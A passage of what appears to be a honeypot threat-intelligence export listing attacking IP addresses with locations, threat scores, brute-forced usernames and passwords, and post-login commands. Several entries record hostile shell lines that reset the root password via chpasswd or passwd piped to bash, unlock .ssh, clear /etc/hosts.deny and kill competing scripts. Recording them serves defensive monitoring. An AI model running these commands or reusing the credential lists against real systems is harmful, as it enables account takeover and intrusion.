      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 922,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:19:55.463000+00:00",
        "last_seen_30d": "2026-05-12T01:05:25.954000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 622,
        "Cowrie": 300
      }
    },
    "117.200.88.228": {
      "attack_count": 288,
      "first_seen": "2026-05-07T04:05:08.444Z",
      "last_seen": "2026-05-07T05:41:15.571Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "dev",
        "test",
        "tester",
        "user05",
        "administrator",
        "debian",
        "deploy",
        "ftpuser",
        "gitlab-runner",
        "kadmin",
        "kafka",
        "minecraft",
        "newtest",
        "oracle",
        "testuser",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1234",
        "1QAZ2wsx",
        "1q2w3e4r",
        "1qa2ws3ed",
        "a",
        "abc1234567",
        "abcd-1234",
        "alan",
        "batman",
        "debian@2022",
        "kadmin123",
        "logitech",
        "newtest",
        "pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nhaEsKIm5M8JI\\nhaEsKIm5M8JI\\n\"|passwd",
        "echo \"a\\nebHbR4Nj6Bh2\\nebHbR4Nj6Bh2\\n\"|passwd",
        "echo -e \"1234\\nhaEsKIm5M8JI\\nhaEsKIm5M8JI\"|passwd|bash",
        "echo -e \"a\\nebHbR4Nj6Bh2\\nebHbR4Nj6Bh2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:05:08.444000+00:00",
        "last_seen_30d": "2026-05-07T05:42:20.102000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 83
      }
    },
    "124.109.2.211": {
      "attack_count": 276,
      "first_seen": "2026-05-15T01:38:34.594Z",
      "last_seen": "2026-05-15T02:15:51.507Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "brengoziscute",
        "devops",
        "fecjl1yg",
        "g9q7jreo",
        "github",
        "koha",
        "linux",
        "mehdi",
        "oracle",
        "pakchoi",
        "sun",
        "ubuntu",
        "user",
        "warnight",
        "xhl2g06n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "123456",
        "123QWEasdzxc",
        "1qazxsw2#",
        "3sScGbQLYlTZvYdQqsZA",
        "Admin@2023",
        "Hj@123456",
        "Kermit123@",
        "Qq@123456",
        "Qwe123asd",
        "Qwer1234@",
        "Secret123",
        "Yc@123456",
        "Zr123456@",
        "devops@2026",
        "koha"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4Db6creqtSJt\"|chpasswd|bash",
        "echo \"root:buvG8i0ncGbL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45413,
      "as_org": "ServeNET Solution Limited Partnership",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:38:34.594000+00:00",
        "last_seen_30d": "2026-05-15T02:16:52.513000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 72
      }
    },
    "171.114.228.244": {
      "attack_count": 260,
      "first_seen": "2026-05-20T15:52:06.735Z",
      "last_seen": "2026-05-21T06:28:56.629Z",
      "sessions": 130,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:52:06.735000+00:00",
        "last_seen_30d": "2026-05-21T06:30:00.161000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 134
      }
    },
    "79.112.49.227": {
      "attack_count": 242,
      "first_seen": "2026-05-14T04:33:38.003Z",
      "last_seen": "2026-05-14T05:07:56.721Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aa",
        "1q@W3e$R5t",
        "Control2017",
        "Pentium",
        "Qwerty!23",
        "ampulare",
        "cookie",
        "deneme",
        "dolphin1",
        "dragonfly",
        "drishti",
        "fengjun",
        "integrated",
        "k0nig02021",
        "kwiatek",
        "qh@123",
        "security",
        "sysadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ubvCGrO2GniT\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nDU3i6zCqtFnv\\nDU3i6zCqtFnv\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nDU3i6zCqtFnv\\nDU3i6zCqtFnv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 57269,
      "as_org": "Digi Spain Telecom S.A",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:33:38.003000+00:00",
        "last_seen_30d": "2026-05-14T05:09:01.549000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 56
      }
    },
    "5.29.135.63": {
      "attack_count": 216,
      "first_seen": "2026-05-28T18:03:19.662Z",
      "last_seen": "2026-05-28T18:29:07.068Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "azureuser",
        "bbs",
        "mexal",
        "production",
        "pvx",
        "rana",
        "sammy",
        "sinusbot",
        "sky"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234@qwe",
        "Ck123456@",
        "P@ssw0rd@2020",
        "abc@12345",
        "azureuser",
        "bbs",
        "computer",
        "fjbdfdjkdsfs541544",
        "mexal",
        "production@123",
        "pvx",
        "rana",
        "sinusbot",
        "xp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EJBBgbS0eRQF\"|chpasswd|bash",
        "echo \"root:wLj2p82HFQ7S\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:03:19.662000+00:00",
        "last_seen_30d": "2026-05-28T18:30:11.224000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 45
      }
    },
    "14.98.123.62": {
      "attack_count": 211,
      "first_seen": "2026-05-22T20:17:05.640Z",
      "last_seen": "2026-05-22T21:28:23.274Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "github",
        "sftpuser",
        "splunk"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "1q2w3e4r5T",
        "1qaz2wsx#EDC",
        "1qaz@2wsx",
        "Aa@123",
        "Abcd1234",
        "L@y3rh0st2023",
        "Password.",
        "Password1",
        "administrador",
        "promo123",
        "qw123",
        "slipknot1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Tw1sNdhvfJji\"|chpasswd|bash",
        "echo \"root:mfHnmTspiRa7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:17:05.640000+00:00",
        "last_seen_30d": "2026-05-22T21:29:32.420000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 49
      }
    },
    "187.251.132.2": {
      "attack_count": 182,
      "first_seen": "2026-05-25T11:12:33.308Z",
      "last_seen": "2026-05-25T14:49:00.246Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cassandra",
        "cloud",
        "frappe",
        "minecraft",
        "smbuser",
        "steam",
        "student4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Wangsu@2017",
        "admin",
        "cassandra",
        "fjbdfdjkdsfs541544AA@@",
        "kali",
        "mc123",
        "steamsteam",
        "student4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"cassandra\\ns1d8209LDgLK\\ns1d8209LDgLK\\n\"|passwd",
        "echo \"root:2taGiELPqllx\"|chpasswd|bash",
        "echo -e \"cassandra\\ns1d8209LDgLK\\ns1d8209LDgLK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Culiac\u00e1n",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:12:33.308000+00:00",
        "last_seen_30d": "2026-05-25T14:50:03.844000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 35
      }
    },
    "163.7.4.169": {
      "attack_count": 168,
      "first_seen": "2026-05-13T04:04:16.355Z",
      "last_seen": "2026-05-13T05:07:35.092Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123asd",
        "1qazxsw21qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Hello@123",
        "K0nig@54321",
        "Passw0rd!123",
        "botelho",
        "click123",
        "cum",
        "db2das1",
        "harley1",
        "hirai",
        "jing123",
        "lab123",
        "masterkey",
        "nautilus",
        "p0stgres",
        "sunit",
        "syslog"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vVmYAycXRhU9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:04:16.355000+00:00",
        "last_seen_30d": "2026-05-13T05:08:44.140000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "62.193.106.227": {
      "attack_count": 168,
      "first_seen": "2026-05-08T13:16:33.586Z",
      "last_seen": "2026-05-08T13:45:55.790Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "administrator",
        "deploy",
        "server",
        "345gs5662d34",
        "appldev",
        "csgoserver",
        "es",
        "ftpuser",
        "guest",
        "newtest",
        "oracle",
        "sysadmin",
        "test",
        "test10",
        "testuser",
        "ts3server",
        "user"
      ],
      "passwords_attempted": [
        "password",
        "000000",
        "1111",
        "123456",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "abc#123",
        "abcd1234!",
        "admin.12345",
        "admin@123",
        "admin@2018",
        "adminadmin1234",
        "appldev"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Zagazig",
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:16:33.586000+00:00",
        "last_seen_30d": "2026-05-08T13:47:02.727000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 70
      }
    },
    "119.99.252.48": {
      "attack_count": 158,
      "first_seen": "2026-05-18T22:10:54.978Z",
      "last_seen": "2026-05-19T06:14:19.118Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:10:54.978000+00:00",
        "last_seen_30d": "2026-05-19T06:23:40.802000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 85
      }
    },
    "119.160.215.50": {
      "attack_count": 150,
      "first_seen": "2026-05-11T17:10:05.305Z",
      "last_seen": "2026-05-27T21:59:41.678Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 137047,
      "as_org": "TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T07:41:00.025000+00:00",
        "last_seen_30d": "2026-05-27T22:00:44.055000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 88,
        "Honeytrap": 1
      }
    },
    "151.237.79.243": {
      "attack_count": 132,
      "first_seen": "2026-05-08T08:20:52.544Z",
      "last_seen": "2026-05-31T07:06:23.562Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 62110,
      "as_org": "Leader PI CI Ltd.",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:20:52.544000+00:00",
        "last_seen_30d": "2026-05-31T07:07:33.753000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "43.229.63.94": {
      "attack_count": 122,
      "first_seen": "2026-05-04T12:42:47.172Z",
      "last_seen": "2026-05-04T15:40:18.077Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 133159,
      "as_org": "Mammoth Media Pty Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:42:47.172000+00:00",
        "last_seen_30d": "2026-05-04T15:41:20.920000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 94
      }
    },
    "103.172.236.15": {
      "attack_count": 118,
      "first_seen": "2026-05-31T09:55:04.774Z",
      "last_seen": "2026-05-31T10:18:29.930Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp_user",
        "hosting",
        "rdp"
      ],
      "passwords_attempted": [
        "123123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa121314",
        "Ab123456",
        "Dev@2025",
        "Hh123456",
        "Hn123456",
        "Password1234",
        "Qwerty123@",
        "ftp_user",
        "rdp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:slHddJq2fII3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:55:04.774000+00:00",
        "last_seen_30d": "2026-05-31T10:19:36.414000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "51.77.222.246": {
      "attack_count": 114,
      "first_seen": "2026-05-03T01:39:02.225Z",
      "last_seen": "2026-05-31T11:43:11.867Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
